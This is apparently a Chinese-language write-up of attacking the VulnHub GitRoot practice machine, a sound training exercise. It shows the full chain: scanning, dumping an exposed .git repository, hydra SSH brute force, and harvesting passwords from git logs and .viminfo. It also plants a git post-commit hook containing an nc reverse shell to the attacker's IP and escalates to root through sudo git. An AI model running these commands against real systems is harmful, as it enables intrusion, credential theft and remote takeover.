vulnhub之GitRoot的实践

admin 2023年5月15日01:35:57评论27 views字数 1386阅读4分37秒阅读模式

今天实践的是vulnhub的GitRoot镜像,

下载地址,https://download.vulnhub.com/gitroot/GitRoot.ova,

用virtualbox导入,直接从console上看到了地址,192.168.0.195,

vulnhub之GitRoot的实践

继续做端口扫描,sudo nmap -sS -sV -T5 -A -p- 192.168.0.195,

vulnhub之GitRoot的实践

有web服务,浏览器访问http://192.168.0.195,

vulnhub之GitRoot的实践

提示了域名,wp.gitroot.vuln,把gitroot.vuln加入/etc/hosts,

进行其它子域名的发现,获取到子域名repo.gitroot.vuln,

gobuster vhost --append-domain -u gitroot.vuln -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt | grep "Status: 200",

vulnhub之GitRoot的实践

把repo.gitroot.vuln加入/etc/hosts,

进行目录扫描,dirb http://repo.gitroot.vuln,

发现http://repo.gitroot.vuln/.git/,

vulnhub之GitRoot的实践

kali攻击机上下载gitdumper,

git clone https://github.com/arthaud/git-dumper.git,

cd git-dumper,mkdir backup,

把信息dump到本地,

./git_dumper.py http://repo.gitroot.vuln/.git/ backup,

查看,cd backup,git log,获取到用户名pablo,

vulnhub之GitRoot的实践

破解密码,hydra -l pablo -P /usr/share/wordlists/rockyou.txt 192.168.0.195 ssh,获取到密码mastergitar,

vulnhub之GitRoot的实践

ssh登录,ssh [email protected],不是root,发现三个账户,

vulnhub之GitRoot的实践

进入目录,cd /opt/auth/.git/logs/refs/heads,

找到了beth的密码r3vpdmspqdb,

vulnhub之GitRoot的实践

切到beth,su beth,

进入临时可写目录,cd /tmp,

创建目录,mkdir -p .git/hooks,cd .git/hooks,

创建文件,vim post-commit,

nc 192.168.0.197 4444 -e /bin/bash

给权限,chmod 777 post-commit,

回到tmp目录,cd /tmp,压缩文件,7z a shell.zip .git/,

kali攻击机那边用nc开个反弹shell监听,nc -nlvp 4444,

cp shell.zip /home/jen/public/repos/,

vulnhub之GitRoot的实践

kali攻击机拿到反弹shell,

转成交互式,python3 -c "import pty;pty.spawn('/bin/bash')",

vulnhub之GitRoot的实践

进入home目录,cd /home/jen,查看ls -la,

从文件中获取到密码,cat .viminfo,binzpbeocnexoe,

vulnhub之GitRoot的实践

sudo -l查看root权限程序,是git,

vulnhub之GitRoot的实践

GTFOBins搜到提权方法,

vulnhub之GitRoot的实践

提权,sudo git -p help config,!/bin/sh,id确认是root,

vulnhub之GitRoot的实践


原文始发于微信公众号(云计算和网络安全技术实践):vulnhub之GitRoot的实践

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年5月15日01:35:57
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   vulnhub之GitRoot的实践https://cn-sec.com/archives/1715826.html

发表评论

匿名网友 填写信息